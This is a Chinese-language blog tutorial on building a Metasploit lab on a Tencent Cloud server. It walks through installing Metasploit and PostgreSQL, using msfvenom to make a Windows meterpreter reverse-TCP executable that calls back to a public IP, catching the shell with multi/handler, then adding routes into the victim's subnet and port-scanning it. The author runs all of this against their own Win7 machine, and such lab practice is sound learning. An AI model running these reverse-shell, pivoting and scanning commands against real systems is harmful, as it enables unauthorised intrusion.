在腾讯云上搭建msf测试环境
前言
1个月前学习msf时,考虑到只在内网测试没什么意思,于是我在腾讯云上租了个云服务器。腾讯云网络架构是由公网网卡和内网网卡组成,不过在云主机中使用ipconfig/ifconfig查看网络接口信息时,只能看到内网IP的信息。
首次搭建时,我选择了server2008镜像,并在上面安装了集成msf的pentestbox。不幸的是,一切配置完成后,我在本地win7上运行msfvenom生成的exe文件,云服务器上的msf并没有获得win7的shell。一开始我猜测是pentestbox的问题,于是把云服务器重装成了Ubuntu系统。但是很遗憾,这次msf同样没有接收到本地win7反弹的shell。我开始怀疑是云服务器的外网--内网映射的问题,通过搜索得到了如下几种答案:
①公网ip很贵的,腾讯云使用的是公共公网ip。
②购买带宽才会分配给你的云服务器公网IP地址。
③云服务器虽然是内网IP,但是全部NAT到了公网,不需要手动做端口映射。
......
折腾了一阵子,仍然没有解决问题,最后我放弃了挣扎。。1个月后的今天,我突然想到这个事情,便登录云服务器看了看。这次我切换成root用户运行msf,神奇的是,竟然测试成功了!!我也懒得纠结是什么原因了,以下是正文......
1.登录到Ubuntu系统后,首先切换成root用户
2.安装metasploit
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
3.安装postgresql数据库
安装数据库时会自动创建系统用户postgres、数据库用户postgres、数据库postgres
apt-get install postgresql 安装postgresql数据库
su postgres 切换到postgres用户
psql 登录postgresql数据库,首次登录没有密码
\password postgres 修改数据库用户postgres的密码
4.metasploit的使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=118.89.216.104 LPORT=888 -f exe -o end.exe 这次LHOST是公网IP
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.141.103.129 这里LHOST是内网IP
set LPORT 888
exploit
5.在本地win7上运行end.exe,云服务器上的msf会获得shell
添加到win7子网的路由表
run get_local_subnets 查看win7的本地子网
run autoroute -s 192.168.80.0/24 添加路由表
run autoroute -p 查看路由表
扫描win7所在的本地子网
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.80.0/24
set ports 139,445
exploit